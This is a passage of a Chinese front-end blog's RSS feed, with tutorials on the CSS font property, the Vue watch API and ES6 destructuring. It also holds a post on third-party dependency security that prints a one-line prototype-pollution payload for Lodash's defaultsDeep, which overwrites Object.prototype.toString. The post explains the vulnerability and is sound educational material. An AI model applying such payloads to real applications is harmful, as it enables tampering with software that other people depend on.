&lt;li&gt;&lt;code&gt;small-caps&lt;/code&gt;：小型大写字母。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3"&gt;
&lt;li&gt;&lt;strong&gt;font-weight&lt;/strong&gt;：设置字体的粗细。&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;取值：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;normal&lt;/code&gt;：正常粗细（默认值）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bold&lt;/code&gt;：加粗。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bolder&lt;/code&gt;：比父元素更粗。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lighter&lt;/code&gt;：比父元素更细。&lt;/li&gt;
&lt;li&gt;数值：可以使用 100 到 900 的数值，100 为最细，900 为最粗。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="4"&gt;
&lt;li&gt;&lt;strong&gt;font-size&lt;/strong&gt;：设置字体的大小。&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;取值：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;可以使用绝对单位（如 &lt;code&gt;px&lt;/code&gt;、 &lt;code&gt;pt&lt;/code&gt;）或相对单位（如 &lt;code&gt;em&lt;/code&gt;、 &lt;code&gt;rem&lt;/code&gt;、 &lt;code&gt;%&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="5"&gt;
&lt;li&gt;&lt;strong&gt;line-height&lt;/strong&gt;：设置行高。&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;取值：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;可以使用数值、单位（如 &lt;code&gt;px&lt;/code&gt;、 &lt;code&gt;em&lt;/code&gt;）或百分比。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="6"&gt;
&lt;li&gt;&lt;strong&gt;font-family&lt;/strong&gt;：设置字体系列。&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;取值：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;可以指定多个字体名称，以逗号分隔，浏览器将使用第一个可用的字体。&lt;/li&gt;
&lt;li&gt;例如： &lt;code&gt;&amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="使用-font-属性的注意事项"&gt;使用 font 属性的注意事项&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;font&lt;/code&gt; 属性必须按照特定的顺序书写，尤其是 &lt;code&gt;font-size&lt;/code&gt; 和 &lt;code&gt;font-family&lt;/code&gt;，它们是必需的。&lt;/li&gt;
&lt;li&gt;如果使用 &lt;code&gt;font&lt;/code&gt; 属性，其他相关的字体属性（如 &lt;code&gt;font-size&lt;/code&gt; 和 &lt;code&gt;font-family&lt;/code&gt;）不能单独设置。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="实例使用-font-属性设置文本样式"&gt;实例：使用 font 属性设置文本样式&lt;/h2&gt;
&lt;h3 id="html-代码"&gt;HTML 代码&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lang&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;zh&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;charset&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;Font 属性示例&amp;lt;/&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;link&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rel&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;stylesheet&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;styles.css&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;h1&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&amp;gt;欢迎来到我的网站&amp;lt;/&lt;span style="color:#f92672"&gt;h1&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;p&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;description&amp;#34;&lt;/span&gt;&amp;gt;这是一个关于CSS字体属性的示例，展示如何使用font属性设置文本样式。&amp;lt;/&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="css-代码stylescss"&gt;CSS 代码（styles.css）&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;font-family&lt;/span&gt;: Arial, &lt;span style="color:#66d9ef"&gt;sans-serif&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 设置全局字体 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;title&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;font&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;bold&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1.5&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Helvetica Neue&amp;#34;&lt;/span&gt;, Arial, &lt;span style="color:#66d9ef"&gt;sans-serif&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 设置标题字体样式 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#333&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 字体颜色 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;description&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;font&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;italic&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;normal&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1.8&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Georgia&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;serif&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 设置描述文本字体样式 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#666&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 字体颜色 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="解释"&gt;解释&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;HTML结构&lt;/strong&gt;：我们创建了一个包含标题和描述的简单网页。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSS样式&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;在 &lt;code&gt;.title&lt;/code&gt; 类中，使用 &lt;code&gt;font&lt;/code&gt; 属性设置了字体为加粗、24px大、行高为1.5、字体系列为 &lt;code&gt;&amp;quot;Helvetica Neue&amp;quot;&lt;/code&gt;，后备字体为 &lt;code&gt;Arial&lt;/code&gt; 和无衬线字体。&lt;/li&gt;
&lt;li&gt;在 &lt;code&gt;.description&lt;/code&gt; 类中，使用 &lt;code&gt;font&lt;/code&gt; 属性设置了字体为斜体、正常粗细、16px大、行高为1.8、字体系列为 &lt;code&gt;&amp;quot;Georgia&amp;quot;&lt;/code&gt;，后备字体为衬线字体。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="结果"&gt;结果&lt;/h2&gt;
&lt;p&gt;通过以上代码，浏览器将展示一个标题和描述文本，标题为加粗大字体，描述为斜体较小字体。这样可以清晰地展示不同文本的样式和视觉层次感。&lt;/p&gt;</description></item><item><title>侦听器watch</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-005/</link><pubDate>Fri, 04 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-005/</guid><description>&lt;h2 id="一-watch-api"&gt;一、 watch API&lt;/h2&gt;
&lt;p&gt;我们先看看 watch的使用例子,watch 有多种用法，可以接收多种类型参数:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;reactive&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;watch&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;vue&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 1. 传入getter函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;state&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;reactive&lt;/span&gt;({ &lt;span style="color:#a6e22e"&gt;count&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;watch&lt;/span&gt;(() =&amp;gt; &lt;span style="color:#a6e22e"&gt;state&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;count&lt;/span&gt;, (&lt;span style="color:#a6e22e"&gt;count&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;prevCount&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 当 state.count 更新，会触发此回调函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 2. 传入reactive对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;watch&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt;, (&lt;span style="color:#a6e22e"&gt;count&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;prevCount&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 当 state.count 更新，会触发此回调函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 3. 传入ref对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;stateRef&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ref&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;watch&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;stateRef&lt;/span&gt;, (&lt;span style="color:#a6e22e"&gt;count&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;prevCount&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 当 stateRef.value 更新，会触发此回调函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 4.监听多个数据源，回调函数接受两个数组，分别对应来源数组中的新值和旧值：
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;watch&lt;/span&gt;([&lt;span style="color:#a6e22e"&gt;fooRef&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;barRef&lt;/span&gt;], ([&lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;bar&lt;/span&gt;], [&lt;span style="color:#a6e22e"&gt;prevFoo&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;prevBar&lt;/span&gt;]) =&amp;gt; { &lt;span style="color:#75715e"&gt;/* ... */&lt;/span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;从上面的例子可以看到，对于 watch，它能接收的第一个参数类型非常多。&lt;/p&gt;
&lt;p&gt;你可以传入一个ref对象、一个响应式对象、一个 getter 函数、甚至是一个数组。&lt;/p&gt;
&lt;p&gt;我们在上一篇中知道了&lt;code&gt;computed对象&lt;/code&gt;其内部是借助了 &lt;code&gt;effect函数&lt;/code&gt; 创建了一个 &lt;code&gt;reactiveEffect函数&lt;/code&gt;，在访问&lt;code&gt;computed对象&lt;/code&gt;的值时，执行其 &lt;code&gt;runner函数&lt;/code&gt; 求值。&lt;/p&gt;</description></item><item><title>第三方库的安全</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-005/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-005/</guid><description>&lt;h2 id="从一个安全漏洞说起"&gt;从一个安全漏洞说起&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-005/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Lodash&lt;/code&gt; 是一款非常流行的 &lt;code&gt;npm&lt;/code&gt; 库，每月的下载量超过 &lt;code&gt;8000&lt;/code&gt; 万次，&lt;code&gt;GitHub&lt;/code&gt; 上使用它的项目有超过 &lt;code&gt;400&lt;/code&gt; 万。之前有段时间， &lt;code&gt;Lodash&lt;/code&gt; 的一个安全漏洞刷爆了朋友圈，我们先来回忆下这个安全漏洞：&lt;/p&gt;
&lt;p&gt;攻击者可以通过 &lt;code&gt;Lodash&lt;/code&gt; 的一些函数覆盖或污染应用程序。例如：通过 &lt;code&gt;Lodash&lt;/code&gt; 库中的函数 &lt;code&gt;defaultsDeep&lt;/code&gt; 可以修改 &lt;code&gt;Object.prototype&lt;/code&gt; 的属性。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-005/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;我们都知道，&lt;code&gt;JavaScript&lt;/code&gt; 在读取对象中的某个属性时，如果查找不到就会去其原型链上查找。试想一下，如果被修改的属性是 &lt;code&gt;toString&lt;/code&gt; 方法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;payload&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;{&amp;#34;constructor&amp;#34;: {&amp;#34;prototype&amp;#34;: {&amp;#34;toString&amp;#34;: true}}}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;_&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;defaultsDeep&lt;/span&gt;({}, &lt;span style="color:#a6e22e"&gt;JSON&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;parse&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;payload&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;每个对象都有一个 &lt;code&gt;toString()&lt;/code&gt; 方法，当该对象被表示为一个文本值时，或者一个对象以预期的字符串方式引用时自动调用。默认情况下，&lt;code&gt;toString()&lt;/code&gt; 方法被每个 &lt;code&gt;Object&lt;/code&gt; 对象继承。如果此方法在自定义对象中未被覆盖，&lt;code&gt;toString()&lt;/code&gt; 返回 &lt;code&gt;[object type]&lt;/code&gt;，其中 &lt;code&gt;type&lt;/code&gt; 是对象的类型。如果覆盖了 &lt;code&gt;toString()&lt;/code&gt; 方法，那么给应用带来的影响就是非常大的。&lt;/p&gt;
&lt;p&gt;其实上述的问题就属于一个很常见的安全漏洞 —— 原型污染&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;原型污染：攻击者通过某种手段修改 JavaScript 对象的原型（prototype）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;然而这并不是 &lt;code&gt;Lodash&lt;/code&gt; 第一次爆出安全漏洞了。事实上，像这样的安全漏洞还可能存在于我们使用的千千万万个不同的开源依赖中，如果我们平时不重视他们，一旦出现问题对我们的项目造成的损失是不可估计的。这相当于你的项目中埋着很多不知道什么时候就会爆炸的炸弹。&lt;/p&gt;
&lt;h2 id="安全调查"&gt;安全调查&lt;/h2&gt;
&lt;p&gt;其实开发人员对开源代码的安全性的信任程度要大于对自己编写的代码的安全性的信任程度，但是在确保代码安全性和质量的工具还有很多不足之处。在 &lt;code&gt;npm&lt;/code&gt; 还没有一个完善的安全检测机制之前，&lt;code&gt;npm&lt;/code&gt; 和 &lt;code&gt;NodeJs&lt;/code&gt; 团队曾经对数万名 &lt;code&gt;JavaScript&lt;/code&gt; 开发者发起过一个调查，第一个问题就是安全问题，具体就是开发人员如何看待他们编写的代码和所使用的开源项目的安全性。&lt;/p&gt;
&lt;p&gt;调查结果显示：全球 &lt;code&gt;97％&lt;/code&gt; 的 &lt;code&gt;JavaScript&lt;/code&gt; 开发人员在自己开发的项目中都依赖开源代码，&lt;code&gt;77％&lt;/code&gt; 的开发人员对他们使用的开源代码是否安全表示担忧。更有趣的是，有 &lt;code&gt;87％&lt;/code&gt; 的人表示担心自己的代码的安全性。&lt;/p&gt;</description></item><item><title>解构赋值</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-005/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-005/</guid><description>&lt;h2 id="解构赋值概念"&gt;解构赋值概念&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;解构赋值&lt;/strong&gt;语法是一种 Javascript 表达式。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过解构赋值，可以将属性/值从对象/数组中取出,赋值给其他变量。&lt;/li&gt;
&lt;li&gt;解构赋值是通过将结构中的各元素复制到变量中来达到“解构”的目的。但对象/数组本身不会被修改。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="数组解构"&gt;数组解构&lt;/h2&gt;
&lt;h3 id="基本使用"&gt;基本使用&lt;/h3&gt;
&lt;p&gt;📖 可以在定义变量的同时，使用解构进行赋值&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let [one, two, three] = foo;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;//等同于
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let one = foo[0];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let two = foo[1];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let three = foo[2];
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-005/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;📖 也可以先声明变量，在进行解构赋值&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-005/image-02.webp"&gt;&lt;/p&gt;
&lt;h3 id="设置默认值"&gt;设置默认值&lt;/h3&gt;
&lt;p&gt;当【左边≠右边】时，可以先设置一个默认值，否则取不到值的变量会变成undefined&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-005/image-03.webp"&gt;&lt;/p&gt;
&lt;h3 id="剩余值处理"&gt;剩余值处理&lt;/h3&gt;
&lt;p&gt;可以使用三个点 &lt;code&gt;&amp;quot;...&amp;quot;&lt;/code&gt;+ 参数来接收剩余的所有元素，变量名称随意，必须在最后一个参数的位置上&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-005/image-04.webp"&gt;&lt;/p&gt;
&lt;h3 id="进阶用法"&gt;进阶用法&lt;/h3&gt;
&lt;p&gt;🎨 可以和&lt;code&gt;split&lt;/code&gt; 函数结合使用，比如&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let [Mother,Father] = &amp;#34;judy,pete&amp;#34;.split(&amp;#39;,&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;console.log(Mother) //judy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;console.log(Father) //pete
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;🎨 可以使用逗号忽略元素，比如&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let [name1,,name3] = [&amp;#34;Julius01&amp;#34;, &amp;#34;Caesar02&amp;#34;, &amp;#34;Consul03&amp;#34;]
